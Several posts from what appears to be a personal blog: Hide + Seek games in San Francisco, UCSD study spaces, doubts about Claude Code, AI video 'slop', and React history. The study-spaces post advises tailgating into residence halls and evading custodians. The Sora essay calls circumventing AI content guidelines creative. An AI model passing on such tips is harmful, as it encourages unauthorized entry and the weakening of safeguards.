Hide + Seek is a game by Jet Lag: The Game (a series by Wendover Productions) where an entire country is the board. It’s designed to scale from a borough of New York (considered “small,” est. 3–4 hours) to the entirety of Japan or the E.U. (considered “large,” est. 2–4 days). The hiders have the seekers’ location, and the seekers can ask from a limited question bank to narrow down their search space. The hiders draw cards for each question the seekers ask, which can grant them time bonuses, and they’re scored based on how long they stay hidden. Then, they swap roles and the highest score wins.

Of course, we aren’t content creators and have our cushy tech jobs to return to on Monday. And we’re in the US, and because the game is centered around public transit, the only enjoyable region near us is the City of San Francisco: the game bounds are the city limits, and the valid stations that hiding spots center on are any Muni, Bart, or Caltrain stop.

Games

I’m only writing this after playing two proper games. We’ve played a few practice rounds, where we essentially skip to the end game and define the hiding area to some fraction of a mile radius:

1. Mission district: The hiders were found in some thrift store.

2. SF Caltrain stop: The hiders were found by China Basin Park because I recognized the unique windows of the building they were next to.

   

3. SF Caltrain stop: The hiders were eventually found by an apartment building near SPARK Social, but the seekers went the wrong direction because the hiders considered Google Maps’ airplane icon on Treasure Island as an airport, while the seekers assumed the closest airport would be SFO.

And our full, “small” games:

1. With good timing, the hiders reached a nondescript M-line stop near the southern end of SF. The seekers were misled by a photo of a highway and spent the day in Golden Gate Park before giving up.

2. The hiders blundered by hiding in Chinatown at the end of the T line, the same line where they started. The seekers identified that they were on the same line and eventually found the hiders in an alleyway.

Issues

Playing the game, I’ve noticed a few issues with how our particular playstyle interacted with the game’s rules. These aren’t necessarily issues with the game itself, just how we’ve chosen to play it.

The game takes a while

The game is not for the faint of heart. It was designed to last days, to provide plenty of content for Wendover Productions, and I suspect it was retrofitted to a smaller scale for their viewers.

However, if we want to get more people to want to play, we can’t say that the game will take hours. People are busy and have to leave in the evening, and they get impatient.

The game is not designed to be skipped

Our practice rounds, where we essentially skipped to the end game and searched in a quarter-mile radius, tipped the balance of the game. Two entire sets of questions were essentially unusable because the minimum distance you must travel to use them is a quarter mile.

Walking is tiring

While we invited people to play the game with the proposition that it would be played by riding transit, our practice rounds involved no transit and was played entirely on foot. While this is fine (and allows us to explore the city), it does get frustrating and takes time when the seekers walk the wrong direction and have to turn back, and it takes time for them to get to the right spot to ask a particular question.

It’s difficult to agree on points of interest

In several instances, we had minor disagreements on what places counted as points of interest:

1. The seekers asked about the closest airport, but the rules say places outside the game boundaries effectively do not exist. San Francisco International Airport is not in San Francisco, so there are no airports in our game area.

2. Even then, the hiders saw a place with a plane icon on Treasure Island (Airport Authority Consulting) and considered it an airport, but the rules say a commercial airport must be one whose flights are listed on Google Flights.

   

3. In Chinatown, the seekers marked places with drama mask icons as theaters, although the question specifically specify “movie theater.” Google Maps apparently has separate icons for performing arts theaters and movie theaters.

   

While we tolerated these infractions to keep the game fun, it would be nice to have agreed on points of interest beforehand.

Hiding is a bit boring

In the end game, hiders are not supposed to move. However, the end game takes a while, during which the hiders just idle waiting for seekers to ask a question.

Seekers don’t ask enough questions

In our first full game, the seekers only asked a few questions before confidently embarking on a trek to nowhere. This led to the seekers forfeiting, and left the hiders bored.

The penalty of asking questions is pretty weak (hiders can only hold up to at most six cards), and while questions give limited information, they’re great for eliminating large swaths of the game area in a full game. We should encourage seekers to ask too much rather than too little.

Hiders often did not draw cards

It was easy to forget to draw cards after seekers ask a question, or even bring the card deck itself. The deck is also unwieldy to carry and use.

Because our players and teams vary from day to day and round to round, we didn’t really keep track of the score, so the time bonuses were relatively unimportant. However, the hiders were looking forward to using curses, which are also available in the deck, on the seekers.

Potential solutions

We’re thinking of constructing a game map of San Francisco based on OpenStreetMap, preemptively flagging points of interest (POI) and valid train stations. This way, not only do we have a common basis for POI-related questions, but hiders also know and can plan out where they can hide.

App

The map could be an app or website, which could automatically eliminate regions based on responses to questions, or adjudicate when the difference in our distances to a POI is very close.

We could add more features to help enforce the rules of the game, like enforcing response time limits or incorporating the phone’s GPS. However, this potentially takes away some of the charm from the game.

The app would be particularly useful for letting the hiders have access to the cards without needing the physical deck.

Paper map

We could print out a paper version of our map, either as a packet of quadrants, or a large sheet printed at UPS. I personally like this option because it feels whimsical, and it lets us use our phones less rather than staring at Google Maps all the time. We could even use a ruler and/or compass to measure distances and mark out quarter-mile radii.

However, dealing with paper while out and about is pretty unwieldy.

Splitting the game

The map aside, we’ve found in our practice rounds that people would rather play shorter games. Our practice rounds were essentially the second half of the game, the end game when seekers reach the hiders’ transit station, but the first half of the game is just as interesting.

We should find a way to make each half of the game playable on its own:

1. Transit-only (the first half): The hiders can hide anywhere in SF, and the seekers only have to find the hiders’ transit stop. We haven’t tried this yet, so maybe we’ll try this on future days.

2. Walking-only (the second half): The hiders hide in a quarter mile from the starting point. Because we’ve found the current question set to be inadequate for this, we’ll have to modify or design new questions to support this playstyle.

Final thoughts

It’s pretty reassuring that there’s plenty of people who do want to ride transit for fun.

Still, 250-something characters and the lack of formatting gets unwieldy, and I find myself often spreading my thoughts across multiple tweets. That’s why I made this blog and named it “Longer Tweets,” for the ideas that are too big for a tweet but too small for a blog post.

Despite that, I ended up treating this site like a normal blog, and I’ve found myself writing long blog posts that I never end up finishing.

New goal: write more, write less

Quantity over quality has always been the overarching theme of my website, and I think it could apply here too. If I write more short longer tweets, the more likely one of them will actually be good. If I write few, long longer tweets, I simply won’t publish many of them.

But also, I’ve found myself at best skimming through other people’s blog posts. I don’t really care about every thought the author has, but I also don’t want to just see an AI summary at the top. I believe I’d do a service to my readers (if they exist) by being concise.

Besides, with LLMs proliferating everywhere, I’m starting to mentally associate some long blog posts with LLMs. Nicely organized and formatted blogs, with separate sections and bolded bulleted lists, give strong LLM vibes. I tire of reading LLM slop every day, at work and online, and LLMs are very good at writing a lot with little substance, while brevity takes skill.

And to this effect, I’ll start by ditching conclusions.

(WIP)

In the beginning of my freshman year at UC San Diego, I had plenty of time to acclimate to the campus, so I decided to explore every nook and cranny, walking through every college at least once. This turned out to be very helpful: with knowledge of every part of campus, I can quickly find a place to study or chill from any place on campus. I recommend every new student to explore campus before classes get busy.

Since I graduated, I have no need to gatekeep these study spaces, and I want to list them here publicly before I forget. Here’s my hopefully exhaustive dump of study spaces, organized by college/neighborhood. This isn’t a list of good study spaces—that’s on you to try for yourself—but these are all places I’ve studied in before.

Also, here’s a list of intentionally 24/7 study spaces for students:

• JK Wood lounge
• CSE basement

Colleges and neighborhoods

• University Center
• Revelle
• Muir
• Marshall
• Warren
• ERC
• Sixth
• Seventh
• Eighth
• Pepper Canyon
• Med campus
• SIO

Notes for all study spaces

UCSD (and most places in general) won’t let you sleep anywhere outside of a suite or apartment. In other words, if you’re caught sleeping, you’ll probably be woken up. So don’t get caught.

If you’re staying at odd hours (i.e. late in the night), you should be prepared to prove that you’re a UCSD affiliate, i.e. with a student ID card.

Academic buildings

Academic buildings (classrooms, professor office buildings) usually aren’t 24-hour, and you’ll be kicked out if caught by a custodian, which definitely go through the building at night. Plus, students who do stay overnight sometimes leave trash, and the morning custodians will blame the night custodians for not cleaning properly.

Res halls

One could argue that res halls are 24-hour.

If you’re a non resident, you have to trespass by tailing someone entering the building. I don’t think RAs care if they don’t recognize you, but only residents should be in the building.

Dining halls

I personally like studying in dining halls because there’s a lot of ambient background noise. Plus, when I had dining dollars, I wouldn’t have to move when I got hungry.

Also, if you keep a dining hall cup, you can use it for unlimited soda. This was better back when HDH partnered with Coca Cola and had those fancy touchscreen build-your-own soda dispensers; the Pepsi ones have fewer options.

Eighth

Res hall study rooms

You have to go to the ground floor for water and bathrooms.

Caveat: Eighth stairs will lock you out. The elevators had keycard scanners but they weren’t enforced when I was a student. Maybe that has changed.

In Eighth College, every floor of the res halls has at least one study room at one end of the hallway.

Podemos classrooms

There’s water and bathrooms in the interior hallway between classrooms.

The Eighth lecture halls are pretty nice and new. They have cushioned, wheeled chairs that are fun to zoom around in. The room is big and spacious when they’re empty.

I did an Amazon interview in one of these classrooms but forgot how to implement a heap. I didn’t pass.

Revelle

Galbraith

The building has running water.

Galbraith has two study rooms; one’s allegedly more quiet than the other. I personally don’t like studying in quiet or dimly lit spaces, and these rooms are both. But maybe that’s perfect for you.

I’ve heard that one of the rooms is 24-hour, but I’ve heard mixed information about this. It feels like sometimes on weekends or odd hours, it’s open, and other times, it’s closed.

Revelle commuter lounge

I don’t have a good photo of the interior, so here’s a photo outside.

The closest bathroom is probably next to Roger’s. You can get water at 64°.

Revelle commuter lounge my beloved. It’s a decent, quiet place to study in or chill at in Revelle, and it has outlets.

64°

It’s pretty loud, and there’s no outlets.

Muir

MOM’s

MOM’s always feels really busy, so it’s hard to find a table, so I usually don’t study here.

Pines and Roots

The dining halls are pretty calm outside of normal meal hours, so they’re a decent place to study.

I think it’s difficult to access an outlet in Roots, while Pines has a table with outlets on it. There’s bathrooms and water downstairs.

But this information is likely outdated since the dining halls are being renovated at the time of writing.

Glacier point

It’s a small, quiet, but reliable study room (when not full). There’s a big, long power strip on the floor, so outlets are easy to access.

Tenaya/Tioga common areas

McGill break room

In the evenings, the elevator is still unlocked but there’s virtually no one in the building, so this table I found in some staff break room makes for a nice study space. I think there’s a wall outlet next to it.

Treehouse/Treetop lounge

TODO: photo

Every computer has outlets in the desk. The closest bathroom is downstairs by Taco Villa or inside Blue Pepper, and the closest water is probably in Blue Pepper. Some of the sofa chairs are wheeled, and it’s fun to zoom around in them. At midnight, the lights automatically turn off.

Sixth

Sixth computer lab

This computer lab has Macs with the Adobe suite installed. Every computer has outlets in the desk.

The closest bathroom (and water) is in the hallway, but the door back to the computer lab locks, so you have to walk the long way around outside. That’s why people prop the door open with a trash bin.

The custodians seem pretty diligent and punctual, and immediately kick people out when the computer lab and commuter lounge close at 9 pm.

Sixth commuter lounge

Since it’s a commuter lounge, there’s a sink and fridge.

The only outlets are along the walls.

RWAC classrooms

RWAC classrooms are nice and new; they have swivel chairs and outlets in the desk I think, as well as in the floor. Unfortuantely, since my first year, most of the classrooms are locked by default, except for the classrooms on the ground floor for some reason.

The classroom near Fan-Fan is nice to stop by in the evening.

Because winter 2022 was partially remote due to Covid, my friends would camp out in RWAC 0426. The classroom suddenly getting locked is the reason why I made my classroom schedule website.

RWAC floor 7 has a great view of both the ocean and campus, but partly because students kept leaving a mess, they’ve since locked the room up for special events only.

RWAC terrace

There’s a nice terrace on the fifth floor of RWAC with an ocean view. It’s pretty well known among students.

You used to be able to access the terrace (and the other elevator lobbies in the building) 24/7 because the elevators didn’t lock. On weekends and at night, you could take the elevators up from the parking garage. I hear that this has now been fixed.

Since it’s outdoor, it’s bright and windy, so it’s not a great place for neither paper nor online homework.

EDS lounge

There’s a study area in the north end of RWAC floor 4. It’s in an open area next to offices, so it’s not as private as a classroom.

Wolftown

Wolftown has a quiet side room with plenty of wall and floor outlets. At least for the big wooden tall table, you’ll need a long-ish cable to reach the floor outlet. Since it’s a dining hall, you can get unlimited soda if you keep an HDH cup.

Catalyst lecture hall lounge

At some point they finally furnished the lounge for CTL 125 with a few tables. I think I studied there once.

There’s a bathroom with a brown trail coming out of it on the floor for some reason.

Mosaic common areas

If you stand and wait in the right Mosaic elevator (or wait for someone to scan their ID), the elevator will get sent up to the apartment floors of Mosaic. The common areas of these floors have a bit of ocean view, and except for people leaving/entering their dorms, it’s pretty isolated. The room gets pretty hot when the sun is shining in during the afternoon, though, and you’d have to go back down for a bathroom.

The Jeannie

The Jeannie is the biggest lecture hall on campus, and it has cushioned seats, outlets between each seat, and large desks (for a lecture hall).

Sometimes, I stick around after lecture. When the next lecture starts, the random lecture serves as good background noise. And if there’s no more lectures for the day, the lecture hall continues to be unlocked for the rest of the day, and the soundproofing in the room makes it a nice, quiet place to study. Plus, the room can be used to watch movies.

Marshall

Angela’s space

I don’t really like this study space because the tables are too tall for their seats, which makes using a laptop on the table uncomfortable. It’s also kind of dim.

That new Malk study lounge

When I visited UCSD after graduating, they had opened Malk Hall in new Marshall, where the Marshall Lowers used to be.

I found this study lounge (intended for GPS students IIRC). It only has a few tables, and there’s a random hallway with a cushioned seat next to an outlet. Presumably one could nap there.

ERC

GPS

The common area for the GPS classrooms is a pretty nice study space. There are outlets in the tables.

ERC computer lab

You could study here, but I don’t like that there’s not really much natural sunlight. The lights in this room are really yellow.

ERC commuter lounge

This is the only photo I have of the lounge, which is behind the flyer.

ERC’s commuter lounge is pretty small I think.

Cafe V

Before the renovation, I used to study here sometimes. But the tables had sticky edges and there were no outlets.

The new Cafe V has some tall tables with outlets in it, which is nice.

Seventh

North Break

Seventh East Tower terrace

RIMAC annex

Warren

JK Wood lounge / CV

Courtroom

CSE basement

CSE master’s commons

CSE floor 1 cafe area

That one computer room in the computer science building

WLH computer lab

WLH lab rooms

ECE tutoring center

Warren commuter lounge

Pepper Canyon

Envision

The Lodge

DIB floors 3 and 4

Pepper Canyon West study rooms

University Center

Geisel

Price Center

Medical campus

Biomed / WongAvery

SIO

Eckart building

Sumner auditorium

All my photos are licensed under CC BY 4.0 because I don’t care what you do with them, but people should know where they came from.

Claude withdrawal symptoms

Even though Claude Code may be free within my company, I won’t have access to it outside of work. Probably unsurprisingly, I’m currently spending more time programming at work than on my personal projects, which means that my programming habits are now grown and nurtured in the comfort of my workplace.

If I get used to relying on Claude Code for menial tasks like asking questions, generating boilerplate, or debugging, then I worry I’ll find myself longing for Claude when working on personal projects, where I won’t have the same luxury, and this could discourage me from working on my own projects—perhaps to my employer’s benefit. Ultimately, I don’t want to develop a dependence on Claude.

Ooh, shiny

At my company, we’re also encouraged to familiarize ourselves with and adapt Claude and AI tools in general into our workflow to stay ahead of those who can’t use AI effectively. Maybe I’m naive—this recommendation comes from people with far more years of industry experience than I do—but I remain skeptical.

Right now, there is still plenty of hype for AI, so technologies continue to change quickly. Who’s to say that Claude Code will remain the industry leader a year from now? Effort spent customizing tooling (e.g. creating skills, “writing” CLAUDE.md) and optimizing prompts and workflows might go to waste once everyone switches to the new shiny AI agent on the market.

I feel like learning to use Claude isn’t really a skill that requires dedicated effort to master either. Claude itself had a fairly painless installation and setup process, and it comes with a flashy terminal UI. Just by typing in a short prompt, Claude can immediately get to work with minimal configuration, and its results are adequate. The companies behind these AI agents are incentivized to keep the barrier to entry low, to make their tools easy to learn and use, and I don’t see that going away any time soon. LLMs are made for human use, so we don’t need to change ourselves or our systems to serve LLMs.

Insert anti-AI argument here

In general, I’m still not completely sold that AI can improve our productivity that much.

Like sure, an LLM can blast away the most menial, tedious parts of coding, like writing test cases and boilerplate for a React component or API route. But you know that saying that 80% of the work is done in 20% of the time? The LLM is great at knocking out that 80% of the work—the parts that you already could do easily without much thought or effort—but that only leads to 20% time savings. The hard parts—defining requirements, coordination with other teams, code review², infrastructure, meetings—each take up equal slices of the remaining pie.

Plus, while AI agents can now reliably generate code that works, I still doubt its quality. Without significant handholding (such as handwriting examples for Claude to work off of), it feels like LLMs tend to generate much more code than humans do for the same task—after all, writing code is so much faster for an LLM than a human. This likely comes from LLMs’ ability to turn a short sentence into a novel, where in code, it may handle errors or edge cases³ when a human may opt not to. While its code works, this comes at a disservice to humans: more code means more for humans to review, and longer documentation means more words for humans to read.⁴ We’ll be spending more time reviewing code as LLMs handle writing code, so having to review functional but verbose code will hit harder than before.

And with recent research suggesting it may be counterproductive letting Claude auto-generate its own CLAUDE.md, I wonder how many of the “best practices” about agentic coding are just placebo, or from people being led on by the LLM’s sycophantic overconfidence.

Conclusion

I don’t really want to get used to using Claude Code, even when my employer provides it for free:

• I don’t want to develop a dependence on Claude Code that dissuades me from working on my personal projects.
• A new, shiny, better competitor to Claude will probably show up sooner or later.
• I’m still not confident that Claude can improve our productivity that much.

I’ll still keep an eye on Claude and its developments, though, so I’ll cautiously stay ten steps behind Claude.

With Sora 2 recently released, YouTuber Casey Neistat posted a video “SORA: the all Ai TikTok Clone. will slop end creativity?”¹ in which he observes a trend:

1. Initially, movies required a lot of money, equipment, people, etc., leading to relatively few movies being created.
2. As production got cheaper and people became more talented, we saw a rise in media production with more movies and cable TV.
3. Then in the internet age, services like YouTube and more recently TikTok have allowed anyone to publish their own videos with just a digital or phone camera.
4. Finally, last week, OpenAI released Sora 2, which is both an improved video generation model and a social media. It allows anyone to make a video, even if they don’t have a good camera, CGI or video editing software, or any skills required for an interesting video besides an interesting idea.

In the first three stages, decreased barriers to publishing video have led to more content being produced. With plastic funnels, he explains that with more content being produced, there’s also more good-quality content being produced, even if most of the content is poor quality. Therefore, with video generation models allowing for the mass production of content—AI slop—he hints at a potential expectation: an increase in AI slop could lead to an increase in good-quality content, the majority of which would be AI-generated. But reasonably, he finds that expectation dubious. He concludes, “are we starting to turn a corner where slop starts to overwhelm or displace actual creativity?”

I agree that it seems doubtful that AI-generated slop would constitute a large portion of good quality media in the future, but I disagree with his wording, which implies that AI-generated slop and “actual creativity” are necessarily disjoint.

Why wouldn’t AI overwhelm the content we consume?

We still watch movies and TV shows, and we hold them to a higher standard than videos posted on social media, but the majority of content we consume is undeniably from social media. Should the trend above continue, that would imply that in the future, the majority of content we consume will be AI-generated.

Yet for some reason, I really doubt this, but it’s not obvious why. After all, AI slop has already begun to creep into our feeds: Italian brainrot was likely the first major instance of AI slop competing with traditional content. Content does not have to be real or authentic for us to enjoy it, especially if it’s not implied that the situation is real. Books, plays, and movies have long often been about fictional tales—“staged,” if you will—and we enjoy these stories for what they are, as an escape from reality. People dislike even the sight of AI, but that might just be a natural human reaction to something new and unfamiliar. Photography was initially rejected as a form of art, so one could argue that AI-generated content is just another medium too new to be accepted as art.

I think that this sense of doubt is because we made one assumption about AI in the trend above: that AI will allow for creating more content than ever before. Is that really true?

Cameras produce more slop than AI ever will

The thing is, AI is really just a step back from the content creation processes we have now. If we focus on cameras as an example, cameras retain two strengths over AI:

1. Cameras “generate” a wider variety of content.
2. Cameras generate content faster than generation models.

By nature of how generation models work, everything they generate is limited by the training data they consume. AI is just an imitation of reality; it can never surpass it. Without further prompting from the human to recombine existing concepts, it will never generate something that it has never seen before. Even if there were some artificial superintelligence that could live the world the way we do, observing and learning from every moment and experience to continuously train its model, the diversity of content it generates is always at most on par with what cameras can capture. Cameras will always be one step ahead of AI.

Secondly, while people may not see it this way, cameras are the true slop machine. Cameras are everywhere around the world, recording content with little to no artistic value—think surveillance footage and Zoom recordings. They’re slop: they’re easy to create in mass, have little human touch, and in turn, the content collectively looks like gruel. Generation models need to burn countless watt-hours of energy, crunching numbers on expensive hardware, just to generate one video. In contrast, cameras are now mass-produced, comparatively more energy efficient, and can produce content in real time.

Of course, these video recordings aren’t what people think of when they contrast AI with human-created content because that’s not what they see in their feeds. That makes sense. I’ve been continuously pumping random videos from my phone—slop—onto my YouTube channel as video storage, and they (fairly) receive only a few dozen views at most. But videos and other works of art with few “views” (or the equivalent measure) exist everywhere, as off-tune humming lost into the moment, graffiti etched on a desk, or a conversation on a long forgotten Discord server. Slop has always existed.

AI slop faces the same challenges as camera slop

I take issue with Casey framing AI slop as not creative. Like cameras, AI is just a tool, contrary to what AI companies want their investors to think.

It is just as easy to film a river minding its own business as it is to generate a video of a river. Of course, you’d need to be physically near a river to film it, and you’d need to wait a few minutes for servers to generate your video. But the end result is mostly the same.

Now you have a video of a river, perhaps fake, perhaps real. You can upload it to any social media, but if you don’t already have a large following or aren’t randomly selected by the algorithm, it’s unlikely the video will see any views. After all, who cares? It’s just a river. Even if it’s a famous river, countless tourists probably have already filmed the same river and posted it to social media the same way you did. A video of a river on its own is slop.

In order for slop to become good quality content, you’d need to put more into it. For example, some options include:

• Curation. You could’ve taken many videos of the same river, but people would rather see the best shot.
• A personal connection to your audience. Your family members will be more interested in your videos of rivers than strangers on the internet, even if they’re AI generated. People are more likely to watch videos from creators they recognize and movies from actors and directors they like.
• A story. Even the cheapest videos on YouTube Shorts etc. are just a person retelling a story from Wikipedia, and they will receive many more views than a video of the river.
• Editing. You’d need a video editor, and to make something as uninteresting as a river into an interesting video, the art ends up being in the editing rather than the river itself.
• Originality. The river suddenly turning into lava would be vastly more interesting than a normal river.

For the last point, it would be incredibly easy to create that type of video with AI. The standards of uniqueness are different for AI because by making slop generation so accessible, you’d need to find new ways to stand out. I’d imagine for Sora 2, this might take the form of finding ways to circumvent OpenAI’s guidelines, for example, and I’d argue that that would be a form of creative expression.

Just because AI makes it so easy to churn out slop does not necessarily mean it will lead to an explosion in AI-generated content that will overwhelm the human content we enjoy today. Having to make AI slop stand out above the rest makes it share many of the existing problems we have today with getting views on social media. After all, as Casey points out, one barrier for video production is distribution, and Sora 2, as yet another social media, does not lower that barrier.

AI will still affect traditional art

Since AI is not going to take over the world, the traditional forms of art we enjoy today should be completely unaffected, right? Of course not.

While we often like to see a human touch in the works of art we see and hear, that’s not true all the time. For example, when you enter a hotel room, you usually do not care too much about the paintings in the room, who painted them, what they depict, the artist’s message. While the artist may have painted their work as art, a hotel guest staying in the room will not interact with the painting as art. These situations, where art is used solely for its medium, such as interior decoration or background music at a restaurant, would be the perfect victims of AI-generated media. After all, even humans already create slop: take the corporate artstyle and tutorial background music as examples. Therefore, I believe that any artists who rely on making a living on producing art for these audiences will likely see commissions drop as businesses cheap out and switch to using AI.

That said, art is never going away. Art has historically always been a symptom of a thriving society, when some of its population no longer need to worry about staying alive. The ways people circumvent censorship, like with “unalive” and 🍉, are a testament to how humans will always find a way to express themselves, and generative AI will not take that away from us.

Personally, I think React is fine. It offers a compelling strength that justifies why you wouldn’t just use vanilla JavaScript, and I don’t think its weaknesses are disastrous to call the React monopoly a terrible tragedy.

In this Longer Tweet, I yap a bunch about why I switched to React in the first place, then I go over some minor pain points I have with React.

My history with React

For a good portion of the time I’ve spent making websites, I’ve used vanilla JavaScript and direct DOM manipulation. For example, to add a heading to the page, I’d do

const heading = document.createElement('h1')
heading.textContent = 'Hello!'
document.body.append(heading)

or perhaps

document.body.append(
  Object.assign(document.createElement('h1'), {
    textContent: 'Hello!'
  })
)

I was making many small self-contained web pages, so I tried to avoid frameworks where possible out of practical concerns.

Many frameworks start their tutorials under the assumption that you will be making one large production-ready codebase, so they’ll recommend some bloated template like create-react-app¹—mind you, I was dealing with this around 2016, when most web frameworks were just starting to mature. While I could tolerate each web page living in its own subdirectory, each template would also offer its own package.json, and with that, its own several gigabytes of node_modules. pnpm was too new around that time, and the laptop I was working on was persistently short on storage, often with less than 1 GB left. If I made a React project for every little web project I started, I would quickly rack up gigabytes of disk usage, probably from Webpack alone.

Reactive

To this day, I never learned React formally; I only figured it out by piecing through scratch-gui’s code, with its class components, Redux reducers, PropTypes, higher order components—all concepts that were deprecated by the time I got to author my own React code. But I got the gist of how it worked and more importantly, why it was used.

To that end, instead of learning to use React, I made my own knock-off, cheekily named Reactive. I declaratively defined the HTML in arrays—effectively a virtual DOM—then the library compares the declared elements to the previous state and makes corresponding changes to the real DOM. This was for rendering bell schedules in my Unofficial Gunn Web App (UGWA), replacing my previous 9th-grade approach of generating an HTML string and setting innerHTML.

I made Reactive largely because I felt that React and React DOM were bloated and would increase the bundle size of my app. However, it demonstrated one strength of React: it’s transparently just a library, so there’s no compiler that could magically transform my code into something beyond my grasp.² When I use React, I have a rough idea of how it’s implemented under the hood.

Next.js

Outside of modding Scratch, I never really wrote my own React code until 2020, during Covid. Serena invited me to participate in some week-long online hackathon, where we made some health project. Ultimately, I don’t think we won anything, but it was the first time I had to write my own React components from scratch.

The project was quite different from scratch-gui. Instead of Scratch’s plain React, we used Next.js. It was interesting to see how simple components really were; there was no need to create a container for every component, like what seemed to be the case for Scratch. Yet, at the same time, it still felt like quite a pain to create a new component, since each time I wanted a new component, not only did I have to copy and paste the component template, but I also had to link it with a CSS module. Compared to my vanilla JavaScript projects, where I typically lump all my CSS into one file, this felt like a lot of bloat.

One curiosity from Next.js was how some file names had special meanings. In the pages/api/ folder, you can just create a JavaScript file that exports an HTTP request handler, and without importing it anywhere, it magically ends up as an API route on the backend. You can even use placeholders in the file name, like [groupid].js, to provide parameters. To me, this file-based routing felt like the compiler was holding my hand too much. The Next.js framework had magically set everything up for me, but it felt like I would quickly run into a use case not supported well by the framework, and that the framework would produce more bloat than my project would need.

This was one of my first times collaborating on a project with other people. As a high school student, I wasn’t confident about how a proper project should be structured. For instance, I would often see projects divided up into src/, assets/, docs/, etc., but I couldn’t find some definitive guide on how they should be used in a new project. So using React felt like the proper thing to use for a project, and in my next collaborative project—a UI for our friend’s graphing calculator—we opted to use create-react-app.³

Another hurdle that I was dealing with at the same time were bundlers. Scratch used Webpack, which was bloated and full of dependencies. I had the impression that Rollup was better—I’m not sure where I got this impression from; maybe it was just because Timothy was using it for his projects. However, Rollup came with plenty of pain points of its own. It’s bare bones, the complete opposite of Webpack’s bloat, but I found myself frustrated having to look up what options to configure and plugins to install to get essential features like Node module resolution, CommonJS support, and minification working. This made me want to avoid using bundlers when I could.

Deno and Preact

I’m not sure when I first learned about it—maybe it was from Timothy’s projects—but it turns out React, being just a library like jQuery, can be used without a bundler:

1. You can import React and React DOM using a CDN, just like how you’d import jQuery

   <script
     crossorigin
     src="https://unpkg.com/react@18/umd/react.development.js"
   ></script>
   <script
     crossorigin
     src="https://unpkg.com/react-dom@18/umd/react-dom.development.js"
   ></script>
   

2. JSX is just syntactic sugar for React.createElement, so the equivalent of this JSX

   <p>Hello!</p>
   

   in JavaScript is just

   React.createElement('p', null, 'Hello!')
   

   Alternatively, you can use @babel/standalone to put JSX in a script tag, load the entirety of Babel through another script tag, and have it transform and run the JSX in the browser.

So, on a few occasions, I would import React through a CDN, then painstakingly write out the JSX using function calls:

const { createElement: e } = React

function App ({ message }) {
  return e('p', null, message)
}

ReactDOM.render(e(App, { message: 'Hello!' }), document.getElementById('root'))

This was alright, but without JSX, the function calls became hard to read as they got increasingly nested. Because of this, I used React sparingly in my projects.

By the time I started university in 2021, Deno had risen in popularity. It’s meant to be a fresh approach at server-side JavaScript, and as someone who used to modern web features in vanilla JS, I was sold immediately. I saw plenty of benefits over Node:

1. Deno mimics the web, with HTTP imports for libraries⁴ (no more node_modules!) and a preference towards using web APIs where possible, like supporting the Fetch API and returning Uint8Arrays, unlike Node Buffer.
2. Deno has first-class TypeScript support⁵ and uses promises in its APIs, instead of most APIs still using callbacks like Node.
3. Most relevantly for this Longer Tweet, Deno provides its own deno bundle⁶ command that bundles the entire module graph into a single module, all out of the box!

deno bundle was perfect for me. It didn’t require creating a configuration file or installing a library for each project. It was a simple CLI that, combined with Terser, met all my needs: TypeScript support, module resolution, and minification. Plus, the docs had an example of using JSX and Preact—essentially React but leaner—in Deno, so all the pieces were in the right place.

A Deno-based Preact app looked like this:

/** @jsxImportSource https://esm.sh/preact@10.17.1 */
/// <reference no-default-lib="true"/>
/// <reference lib="dom" />
/// <reference lib="deno.ns" />

import { render } from 'https://esm.sh/preact@10.17.1'

type AppProps = {
  message: string
}
function App ({ message }: AppProps) {
  return <p>{message}</p>
}

render(<App message='Hello!' />, document.getElementById('root')!)

Then, I could bundle and minify it with a simple shell command:

$ deno bundle index.tsx | terser --module > index.js

That was it. I didn’t need a webpack.config.js, nor did I need to npm install a bunch of packages.

I had been scraping our university’s course registration website with Deno, so when I wanted to present the data on a website, Deno was a natural choice. Rendering a web page from JSON is a perfect use case for (P)React, recursively generating components of the page out of a datum in the JSON. So, I made my UCSD classrooms website with Deno and Preact.

Back to Node

You’d think that with deno bundle, all my bundler troubles would be resolved. Alas, deno bundle got deprecated in 2023. By then, I had a number of small web projects bundled with Deno, but I knew that I couldn’t rely on it forever.

The deno bundle deprecation warning recommended, among others, esbuild. I tried it out, and it worked. Like deno bundle, esbuild doesn’t require a configuration file, instead accepting command line arguments, and like deno bundle, it comes with TypeScript and JSX support out of the box. However, it also can minify, produce source maps, import CSS modules, and start a local development server that rebuilds on the fly—the last one is pretty nice since I didn’t need to start an HTTP server separately, and if I reload too quickly, I think it stalls the request until it finishes building instead of serving a stale build.

It wasn’t a painless transition, though. esbuild was designed for the Node ecosystem, so it doesn’t have support for importing modules from a URL. Without deno bundle, there was little reason to keep using Deno’s type checker, which was less stable than VS Code’s native TypeScript language features. However, that meant I had to manually configure TypeScript, and it took a bit to figure out what values to use in tsconfig.json to get all my errors to go away—I kept running into bizarre Cannot find global type 'Array'. errors—but I eventually figured it out.

SunSET was my first new project built with esbuild and React, and I also made a proper GitHub Action to build and deploy the React app to GitHub Pages.⁷ It now serves as my template for any React apps I build in the future, like Doufu and QR.

Conclusion

I like React, but what holds me back from using it in all of my projects is the bundler. Because JSX is effectively necessary to use React, a build step is required just to deploy the web page to GitHub Pages. I didn’t like bundlers of the day, like Webpack and Rollup, because they’re bloated and require plenty of boilerplate. Now that I’ve found esbuild, that roadblock has been lifted; it’s straightforward to include a React app inside a monorepo of other web pages.

React qualms

Although I still use vanilla JavaScript for most of my small web page-sized projects, I see the appeal of React when it insists upon itself. It’s good for when I want many parts of the web page to automatically react to some new value, or when I already need a bundler to build TypeScript.

Beyond personal projects, React is also the framework in the front-end teams I’ve worked in, like at ACM at UCSD, Tesla, and TikTok, and of course it’s used in Scratch 3.0. So I’ve read and written plenty of React code for a variety of apps, and yet I sometimes see the same pain points arise from the monotony of creating yet another React component.

I know that there are too many frameworks out there that see issues with React and tried to tackle them, and I’ll admit I haven’t looked in depth at many of them—as said above, I personally limit my use of frameworks in general, and React is ubiquitous in the industry—but these could be what I’d be looking for when evaluating[^9] a web framework.

[^9] Or, god forbid, making my own.

useRef has no initializer function

For some reason, useState supports an initializer function, in case it’s expensive, but useRef does not.

React’s Rules of Hooks permit the mutation of the ref’s current value in the component body:

const context = useRef(null)
if (context.current === null) {
  context.current = new AudioContext()
}

However, this doesn’t work well in TypeScript. While in the above example it’s able narrow context.current’s type to AudioContext in the component body, it remains AudioContext | null inside function expressions like useEffect. This might be because of how useRef type signature is defined, however. If useRef were able to have an initializer function, then it’d be easier to convince TypeScript that current is never null.

Getting the latest value of a state

